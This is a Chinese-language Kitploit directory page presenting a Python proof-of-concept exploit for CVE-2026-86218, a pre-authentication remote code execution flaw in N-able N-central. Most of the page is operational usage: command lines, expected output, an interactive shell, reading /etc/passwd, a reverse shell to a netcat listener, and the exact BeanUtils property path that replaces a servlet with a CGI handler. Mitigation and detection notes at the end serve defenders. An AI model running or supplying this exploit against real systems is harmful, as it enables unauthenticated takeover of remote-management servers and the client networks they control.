Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-86218 — 针对 CVE-2026-86218 的 Python 3 概念验证漏洞利用,该漏洞是 N-able N-central 中通过 Struts 多部分竞态条件实现的预认证 RCE,支持命令执行和反向 shell。 | Kitploit
工具/GitHubGitHub/super-meuw/cve-2026-86218
漏洞分析漏洞利用Web应用程序漏洞利用后渗透利用渗透测试红队远程访问工具Payload 开发
GitHubsuper-meuw/cve-2026-86218

CVE-2026-86218

针对 CVE-2026-86218 的 Python 3 概念验证漏洞利用,该漏洞是 N-able N-central 中通过 Struts 多部分竞态条件实现的预认证 RCE,支持命令执行和反向 shell。

查看仓库
4126天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-86218 - N-able N-central 预认证 RCE 漏洞利用

概述

这是一个针对 CVE-2026-86218 的 Python 3 概念验证漏洞利用程序,该漏洞是 N-able N-central 中的一个严重预认证远程代码执行漏洞。

漏洞详情:

  • CVE: CVE-2026-86218
  • CVSS 评分: 10.0(严重)
  • CWE: CWE-96(静态代码注入)
  • 受影响版本: N-central < 2026.3.1.14
  • 攻击向量: 网络(未认证)

漏洞描述

N-able N-central 在一个未认证操作(/remoteControlAction.do)上使用了会话作用域的 Struts 表单。两个并发的 multipart 请求可以竞争该表单的 multipart 处理器,并将 Jetty 的实时配置暴露给 Commons BeanUtils 属性填充。这允许攻击者:

  1. 将惰性 N-central servlet 持有者(例如 LogRetrieval)替换为 Jetty 捆绑的 CGI servlet
  2. 配置 CGI servlet 通过 /bin/sh -s 执行任意命令
  3. 通过被替换的 servlet 的 URL 映射发送命令

环境要求

pip install requests

使用方法

基本语法

python3 CVE-2026-86218.py -t <target_url> [options]

选项

选项描述
-t, --target目标 N-central URL(例如 https://192.168.1.100)
-c, --command要执行的单条命令
-i, --interactive交互式命令模式
--lhost反向 shell 的监听 IP
--lport监听端口(默认:4444)
--servlet要替换的 servlet:LogRetrieval、FileTransfer、AutomationManagerDownloadServlet
--check检查目标是否存在漏洞
--no-verify-ssl禁用 SSL 证书验证
--timeout请求超时(默认:30s)
--race-delay竞争条件延迟(默认:0.35s)
-v, --verbose启用详细输出

示例

1. 检查目标是否存在漏洞

python3 CVE-2026-86218.py -t https://192.168.1.100 --check --no-verify-ssl

预期输出:

[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable

2. 执行单条命令

python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --no-verify-ssl

预期输出:

╔══════════════════════════════════════════════════════════════════╗
║  CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit       ║
║  Version: 1.0.0                                                ║
║  CVSS: 10.0 (Critical)                                         ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[*] Establishing connection for race condition...
[*] Sending helper request to install handler...
[*] Sending mutation fields...
[+] Race condition completed successfully
[*] Executing command: id
[+] Command executed successfully
uid=998(nable) gid=998(nable) groups=998(nable)

3. 反向 Shell

首先启动监听器:

nc -lvnp 4444

运行漏洞利用程序:

python3 CVE-2026-86218.py -t https://192.168.1.100 --lhost 10.10.14.5 --lport 4444 --no-verify-ssl

预期输出:

[*] Preparing reverse shell to 10.10.14.5:4444
[!] Starting reverse shell...
[!] Make sure to have a listener running: nc -lvnp 4444
[+] Reverse shell payload sent successfully!
[+] Check your listener for incoming connection

监听器输出:

listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [192.168.1.100] 49234
id
uid=998(nable) gid=998(nable) groups=998(nable)

4. 交互模式

python3 CVE-2026-86218.py -t https://192.168.1.100 -i --no-verify-ssl

交互式会话:

╔══════════════════════════════════════════════════════════════════╗
║  CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit       ║
║  Version: 1.0.0                                                ║
║  CVSS: 10.0 (Critical)                                         ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[+] Race condition completed successfully
[*] Entering interactive command mode
[*] Type 'exit' or 'quit' to leave
[*] Type 'shell' for reverse shell setup

ncentral> id
uid=998(nable) gid=998(nable) groups=998(nable)

ncentral> cat /etc/passwd | head -5
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...

ncentral> shell
Listener IP: 10.10.14.5
Listener Port: 4444
[*] Preparing reverse shell to 10.10.14.5:4444
[+] Reverse shell payload sent successfully!

ncentral> exit

5. 使用不同的 Servlet

# Use FileTransfer servlet (more disruptive)
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --servlet FileTransfer --no-verify-ssl

Servlet 选项

Servlet描述影响
LogRetrieval日志检索端点(默认)破坏性最小,日志在重启前不可用
FileTransfer文件传输端点破坏文件传输功能
AutomationManagerDownloadServlet自动化管理器下载需要管理 UI 端口(8443)

工作原理

利用流程

  1. 版本检查: 查询 /remoteControlAction.do 从错误页面提取版本
  2. 会话获取: 获取未认证的 JSESSIONID
  3. 竞争条件:
    • 发送在解析期间暂停的慢速 multipart 请求
    • 在暂停期间,发送辅助请求以在共享表单上安装处理器
    • 使用 BeanUtils 属性注入字段恢复慢速请求
  4. Servlet 替换: 将 LogRetrieval 替换为 Jetty CGI servlet
  5. 命令执行: 通过 CGI 端点发送命令

技术细节

该漏洞利用了 Struts 的 multipart 表单处理中的竞争条件:

  • Struts 为每个 HTTP 会话存储一个表单对象
  • 在 multipart 请求开始时,Struts 移除表单的 multipart 处理器
  • 当 Struts 仍在读取请求体时,一个慢速请求暂停
  • 一个辅助请求完成并安装其已初始化的处理器
  • 当慢速请求继续时,BeanUtils 通过处理器跟踪精心构造的字段名
  • 这些字段导航到 Jetty 的 WebAppContext 并替换 servlet 持有者

变异字段使用 JavaBean 属性路径:

multipartRequestHandler.servlet.servletContext.classLoader.context.servletHandler.servlet(LogRetrieval).heldClass

这会遍历:multipart 处理器 → servlet 上下文 → 类加载器 → WebAppContext → servlet 处理器 → 特定持有者

缓解措施

  1. 立即修补: 升级到 N-central 2026.3.1.14 或更高版本
  2. 限制访问: 限制对 N-central 控制台的入站访问
  3. 网络分段: 将 N-central 置于 VPN 或 IP 允许列表之后
  4. 监控日志: 检查可疑的 API 活动和用户创建

检测

日志指标

  • 对 /remoteControlAction.do 的异常请求
  • 带有异常字段名的 multipart 请求
  • LogRetrieval 端点上的 CGI 相关活动
  • 意外的用户账户创建

网络指标

  • 对同一端点的多个快速请求
  • 大型 multipart 负载
  • 来自异常源 IP 的连接

参考资料

  • N-able 安全公告
  • N-able Hotfix 4 发行说明
  • Rapid7 Metasploit 模块
  • Huntress 博客文章
  • CISA KEV 目录

免责声明

本漏洞利用程序仅供授权的安全测试和教育目的使用。未经授权对您不拥有或未获许可测试的系统使用本漏洞利用程序是非法的且不道德的。

在进行渗透测试活动之前,请务必获得适当的授权。

致谢

  • 漏洞发现:N-able 安全团队
  • Metasploit 模块:sfewer-r7 (Rapid7)
  • 漏洞利用开发:基于 Rapid7 研究和公开公告
下载工具